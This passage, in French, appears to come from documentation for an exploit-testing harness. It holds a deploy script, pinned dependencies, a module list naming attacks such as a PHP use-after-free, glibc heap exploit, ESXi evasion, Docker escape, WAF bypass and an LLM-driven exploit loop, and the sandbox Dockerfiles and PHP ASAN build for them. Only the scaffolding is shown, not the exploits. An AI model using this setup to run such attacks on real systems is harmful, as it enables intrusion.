        echo "[!] Build c_heap_exploit échoué"
fi

# ── Build images Docker sandbox (J6) ────────────────────
if [ -d docker ]; then
    echo "[+] Build images Docker sandbox..."
    for dockerfile in docker/Dockerfile.*; do
        [ -f "$dockerfile" ] || continue
        tag=$(basename "$dockerfile" | sed 's/Dockerfile.//')
        docker build -q -f "$dockerfile" -t "harness/$tag:latest" . 2&gt;/dev/null || \
            echo "[!] Build $tag échoué — sandbox incomplet"
    done
fi

# ── Lancement reproductible ─────────────────────────────
echo "[+] Lancement du harness..."
SEED=${SEED:-1337}
```

```
export REPORT_KEY
if [ -z "$REPORT_KEY" ] || [ "$REPORT_KEY" = "harness-lab-key" ]; then
    echo "[+] Génération de REPORT_KEY..."
    REPORT_KEY="$(openssl rand -hex 32)"
    # v2.4 : masquer la clé dans la sortie terminal/logs CI
    MASKED=$(echo "$REPORT_KEY" | sed 's/./*/g')
    echo "[!] REPORT_KEY généré (masqué : $MASKED)"
    echo "[!] Sauvegarder dans un vault/HSM — ne pas commit"
fi
export OPERATOR="${OPERATOR:-$(whoami)}"

.venv/bin/python orchestrator.py

echo ""
echo "[+] Rapport signé : reports/report_${SEED}.json"
echo "[+] Vérification :"
echo "    .venv/bin/python -c \\"
echo "      \"import sys; sys.path.insert(0,'.'); \\"
echo "       from orchestrator import verify_report_file; \\"
echo "       print(verify_report_file('reports/report_${SEED}.json', b'\${REPORT_KEY}'))\""
```

Fichier : `requirements.txt`

```
# HARNESS-VALIDATION v2.2.0 — dépendances Python épinglées.
requests==2.31.0
h2==4.1.0
pypdf==4.0.0
# Optionnel pour analyse statique :
# semgrep nécessite une installation séparée (pip install semgrep)
# CodeQL nécessite une installation séparée (https://codeql.github.com/)
```

Fichier : `modules_config.json` **(v2.4 — config externalisée)**

```
{
  "modules": {
    "php_uaf":         {"cmd": ["php", "./php_uaf.php"]},
    "php_chain":       {"cmd": ["php", "./php_chain.php"]},
    "c_heap":          {"cmd": ["./c_heap_exploit"]},
    "gdb_extract":     {"cmd": ["bash", "./gdb_extract.sh"]},
    "esxi_evasion":    {"cmd": ["bash", "./esxi_evasion.sh"]},
    "preauth":         {"cmd": ["python3", "./preauth.py", "http://127.0.0.1:8080"]},
    "docker_escape":   {"cmd": ["python3", "./docker_escape.py"]},
    "waf_bypass":      {"cmd": ["python3", "./waf_bypass.py", "127.0.0.1", "8080"]},
    "fuzzer_send":     {"cmd": ["python3", "./fuzzer_send.py", "http://127.0.0.1:8080/cgi-bin/admin.cgi"]},
    "afl_fuzz":        {"cmd": ["python3", "./fuzz_module.py", "./target_binary", "60"]},
    "static_analysis": {"cmd": ["python3", "./static_analysis.py", "./source"]},
    "llm_exploit":     {"cmd": ["python3", "./llm_exploit_loop.py", "./target_binary", "5"]}
  }
}
```

A17. Dockerfiles sandbox

10 Dockerfiles pour les images du sandbox J6. Chaque image est dédiée à un type de module. Build automatique via deploy.sh.

`docker/Dockerfile.php-asan` — PHP 7.4 debug + ASAN (modules 1, 2)

```
# Dockerfile.php-asan — PHP 7.4 debug + ASAN pour modules php_uaf, php_chain.
FROM ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update &amp;&amp; apt-get install -y --no-install-recommends \
    wget gcc make autoconf libtool re2c bison \
    libxml2-dev libsqlite3-dev &amp;&amp; \
    rm -rf /var/lib/apt/lists/*
WORKDIR /tmp
RUN wget -q https://www.php.net/distributions/php-7.4.33.tar.gz &amp;&amp; \
    tar xzf php-7.4.33.tar.gz &amp;&amp; cd php-7.4.33 &amp;&amp; \
    ./configure --enable-debug --enable-address-sanitizer \
        --disable-all --enable-cli --enable-json --enable-ctype \
        --enable-tokenizer --enable-mbstring &amp;&amp; \
    # v2.4 : limiter les threads pour ne pas saturer le CPU host
    make -j$(($(nproc)/2 &gt; 0 ? $(nproc)/2 : 1)) &amp;&amp; make install &amp;&amp; \
    cd /tmp &amp;&amp; rm -rf php-7.4.33 php-7.4.33.tar.gz
# Composer pour php_chain
RUN wget -q https://getcomposer.org/installer &amp;&amp; \
    php installer --install-dir=/usr/local/bin --filename=composer
WORKDIR /harness
# v2.4 : utilisateur non-root (principe du moindre privilège)
USER nobody
```

`docker/Dockerfile.php-chain` — PHP + Composer + monolog/guzzle (module 2)

```
# Dockerfile.php-chain — PHP + Composer + monolog/guzzle pour php_chain.
# v2.4 : erreur fatale si composer échoue (|| true supprimé) + USER non-root
FROM php:7.4-cli
RUN apt-get update &amp;&amp; apt-get install -y --no-install-recommends unzip git &amp;&amp; \
    rm -rf /var/lib/apt/lists/*
# Composer
COPY --from=composer:2 /usr/bin/composer /usr/bin/composer
WORKDIR /harness
# v2.4 : dépendances — erreur fatale si échec (pas de || true)
RUN composer require monolog/monolog:2.9.1 guzzlehttp/guzzle:7.4.5 --no-dev
# v2.4 : utilisateur non-root (principe du moindre privilège)
USER nobody
```

`docker/Dockerfile.glibc-2.31` — glibc 2.31 Ubuntu 20.04 (module 3)

```
# Dockerfile.glibc-2.31 — environnement glibc 2.31 pour c_heap_exploit.
FROM ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update &amp;&amp; apt-get install -y --no-install-recommends \
    gcc gdb binutils &amp;&amp; \
    rm -rf /var/lib/apt/lists/*
# glibc 2.31 est natif sur Ubuntu 20.04 — pas d'installation supplémentaire
WORKDIR /harness
# __free_hook existe jusqu'à glibc 2.33 (supprimé en 2.34+)
# Vérifier : readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep __free_hook
```

`docker/Dockerfile.gdb` — GDB + Python (module 4)

```
# Dockerfile.gdb — GDB pour extraction mémoire (module 4).
FROM ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update &amp;&amp; apt-get install -y --no-install-recommends \
    gdb python3 &amp;&amp; \
    rm -rf /var/lib/apt/lists/*
WORKDIR /harness
```

`docker/Dockerfile.busybox` — BusyBox simulation ESXi (module 5)

```
# Dockerfile.busybox — ESXi simulation (module 5).
```

```
FROM busybox:latest
# BusyBox pour simuler l'environnement ESXi (nc, sh, sed sans coreutils)
RUN mkdir -p /etc/rc.local.d
WORKDIR /harness
```

`docker/Dockerfile.net-tools` — Python + requests (modules 6, 9)

```
# Dockerfile.net-tools — outils réseau pour preauth, fuzzer_send.
FROM python:3.11-slim
RUN pip install --no-cache-dir requests==2.31.0
WORKDIR /harness
USER nobody
```

`docker/Dockerfile.net-h2` — Python + requests + h2 (module 8)

```
# Dockerfile.net-h2 — outils réseau + HTTP/2 pour waf_bypass.
FROM python:3.11-slim
RUN pip install --no-cache-dir requests==2.31.0 h2==4.1.0
WORKDIR /harness
USER nobody
```

`docker/Dockerfile.aflpp` — AFL++ (module 11)

```
# Dockerfile.aflpp — AFL++ pour fuzzing binaire (module 11).
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update &amp;&amp; apt-get install -y --no-install-recommends \
    afl++ afl++-doc gcc &amp;&amp; \
    rm -rf /var/lib/apt/lists/*
# AFL++ s'installe via apt sur Ubuntu 22.04
# Alternative : build from source https://github.com/AFLplusplus/AFLplusplus
ENV AFL_DIR=/usr
WORKDIR /harness
```

`docker/Dockerfile.sast` — Semgrep + CodeQL (module 12)

```
# Dockerfile.sast — Semgrep + CodeQL pour analyse statique (module 12).
# v2.4 : WARNING — CodeQL CLI n'est pas installé par défaut.
# Le module 12 reportera ENV_ERROR pour la partie CodeQL si non installé.
FROM returntocorp/semgrep:latest
# Pour activer CodeQL, décommenter les lignes ci-dessous :
# RUN curl -L https://github.com/github/codeql-cli-binaries/releases/latest/download/codeql-linux64.zip -o /tmp/codeql.zip
#     cd /tmp &amp;&amp; unzip codeql.zip &amp;&amp; mv codeql /usr/local/bin/codeql
RUN apk add --no-cache curl bash
# v2.4 : avertissement visible dans les logs de build
RUN echo "WARNING: CodeQL not installed. Module 12 will report ENV_ERROR for CodeQL analysis. Uncomment the curl line above
WORKDIR /harness
# v2.4 : HEALTHCHECK pour vérifier que Semgrep est fonctionnel
HEALTHCHECK --interval=5m --timeout=10s --retries=2 \
    CMD semgrep --version || exit 1
```

`docker/Dockerfile.llm-sandbox` — Python + nsjail/bwrap (module 13)

```
# Dockerfile.llm-sandbox — boucle LLM avec nsjail (module 13).
# v2.4 : ATTENTION — nsjail n'est disponible que sur x86_64. Sur ARM
# (Apple Silicon, Raspberry Pi, certains serveurs cloud), l'installation
# échouera. Utiliser SANDBOX_CMD=bwrap comme alternative sur ARM.
FROM python:3.11-slim
RUN pip install --no-cache-dir requests==2.31.0 &amp;&amp; \
    apt-get update &amp;&amp; apt-get install -y --no-install-recommends \
    bwrap &amp;&amp; \
    rm -rf /var/lib/apt/lists/*
# v2.4 : nsjail installé séparément car non dans les repos standard
# Sur ARM, commenter la ligne nsjail et utiliser SANDBOX_CMD=bwrap
RUN apt-get update &amp;&amp; \
    apt-get install -y --no-install-recommends nsjail 2&gt;/dev/null || \
    echo "WARNING: nsjail non disponible sur cette architecture — utiliser bwrap"
WORKDIR /harness
```

A18. Build PHP ASAN (build_php.sh)

Script de build de PHP 7.4.33 en mode debug + AddressSanitizer. Prérequis pour le module 1 (php_uaf.php).

Fichier : `build_php.sh`

```
#!/usr/bin/env bash
# HARNESS-VALIDATION v2.4.0 — build PHP 7.4.33 debug + ASAN (prérequis module 1).
# v2.4 corrections :
#   - Vérification checksum SHA-256 (anti MITM/corruption)
#   - --prefix pour isolation (pas d'écrasement du PHP système)
#   - Cleanup du répertoire de build
# Prérequis : gcc, make, wget, autoconf, libtool, re2c, bison.
set -euo pipefail
V=7.4.33
PREFIX=/opt/php-asan-$V
BUILD_DIR=/tmp/php-build
mkdir -p "$BUILD_DIR" &amp;&amp; cd "$BUILD_DIR"

echo "[+] Téléchargement PHP $V..."
if [ ! -f "php-$V.tar.gz" ]; then
    wget -q "https://www.php.net/distributions/php-$V.tar.gz"
fi

# v2.4 : vérification checksum SHA-256
echo "[+] Vérification checksum..."
wget -q "https://www.php.net/distributions/php-$V.tar.gz.sha256" -O "php-$V.tar.gz.sha256" || true
if [ -f "php-$V.tar.gz.sha256" ]; then
    # Le fichier .sha256 contient juste le hash, on construit le format check
    EXPECTED=$(cat "php-$V.tar.gz.sha256" | awk '{print $1}')
    ACTUAL=$(sha256sum "php-$V.tar.gz" | awk '{print $1}')
    if [ "$EXPECTED" != "$ACTUAL" ]; then
        echo "[FATAL] Checksum mismatch — fichier corrompu ou MITM"
        echo "  Expected: $EXPECTED"
        echo "  Actual:   $ACTUAL"
        exit 1
    fi
    echo "[+] Checksum OK"
else
    echo "[!] Fichier .sha256 indisponible — vérification ignorée (risque)"
fi

rm -rf "php-$V"
tar xzf "php-$V.tar.gz"
cd "php-$V"

# v2.4 : --prefix pour isolation (pas de sudo make install global)
echo "[+] Configuration avec --prefix=$PREFIX..."
./configure \
    --prefix="$PREFIX" \
    --enable-debug \
    --enable-address-sanitizer \
    --disable-all \
    --enable-cli \
    --enable-json \
    --enable-ctype \
    --enable-tokenizer \
    --enable-mbstring

# v2.4 : limiter les threads pour ne pas saturer le CPU host
JOBS=$(($(nproc) / 2))
[ "$JOBS" -lt 1 ] &amp;&amp; JOBS=1
echo "[+] Compilation avec $JOBS threads..."
make -j"$JOBS"

# v2.4 : installation dans le prefix (pas de sudo, pas global)
make install

# Vérification
echo "[+] PHP installé dans $PREFIX :"
"$PREFIX/bin/php" -v
```

```
"$PREFIX/bin/php" -i | grep -i asan | head -3
echo "[+] Module php_uaf prêt à tester"
echo "[+] Lien : ln -sf $PREFIX/bin/php /usr/local/bin/php-asan"

# v2.4 : cleanup du répertoire de build
echo "[+] Cleanup..."
cd /
rm -rf "$BUILD_DIR"
echo "[+] Build terminé"
```